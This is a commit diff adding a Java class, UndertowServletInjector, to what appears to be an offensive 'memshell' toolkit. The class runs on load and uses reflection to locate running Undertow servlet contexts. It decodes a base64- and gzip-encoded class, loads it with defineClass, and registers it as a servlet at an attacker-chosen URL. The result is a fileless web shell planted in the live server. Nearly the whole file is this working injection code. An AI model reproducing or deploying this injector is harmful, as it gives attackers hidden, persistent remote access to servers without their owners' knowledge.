feat: support undertow servlet (#2)

2026-09-22 15:10:43 +08:00 · 2024-12-21 14:13:49 +08:00
parent 524b65b25b
commit fcaf0cae6b
9 changed files with 305 additions and 2 deletions
@@ -0,0 +1,200 @@
+package com.reajason.javaweb.memshell.undertow.injector;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/21
+ */
+public class UndertowServletInjector {
+    static {
+        new UndertowServletInjector();
+    }
+
+    public UndertowServletInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object servlet = getShell(context);
+                inject(context, servlet);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
+        for (Thread thread : threads) {
+            try {
+                Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null);
+                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null);
+                if (servletContext != null) {
+                    contexts.add(servletContext);
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        Object obj;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            obj = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            obj = clazz.newInstance();
+        }
+        return obj;
+    }
+
+    public void inject(Object context, Object servlet) throws Exception {
+        Object deploymentImpl = getFieldValue(context, "deployment");
+        Object managedServlets = invokeMethod(deploymentImpl, "getServlets", null, null);
+        Object servletHandler = invokeMethod(managedServlets, "getServletHandler", new Class[]{String.class}, new Object[]{getClassName()});
+        if (servletHandler != null) {
+            System.out.println("servlet already injected");
+            return;
+        }
+
+        Class<?> servletInfoClass = Class.forName("io.undertow.servlet.api.ServletInfo");
+        Object deploymentInfo = getFieldValue(context, "deploymentInfo");
+        Object servletInfo = servletInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), servlet.getClass());
+        invokeMethod(servletInfo, "addMapping", new Class[]{String.class}, new Object[]{getUrlPattern()});
+
+        invokeMethod(managedServlets, "addServlet", new Class[]{servletInfoClass}, new Object[]{servletInfo});
+        invokeMethod(deploymentInfo, "addServlet", new Class[]{servletInfoClass}, new Object[]{servletInfo});
+
+        Object servletPaths = invokeMethod(deploymentImpl, "getServletPaths", null, null);
+        Object data = invokeMethod(servletPaths, "setupServletChains", null, null);
+        setFieldValue(servletPaths, "data", data);
+        System.out.println("servlet inject success");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+        } finally {
+            if (gzipInputStream != null) {
+                try {
+                    gzipInputStream.close();
+                } catch (IOException ignored) {
+                }
+            }
+            out.close();
+        }
+        return out.toByteArray();
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}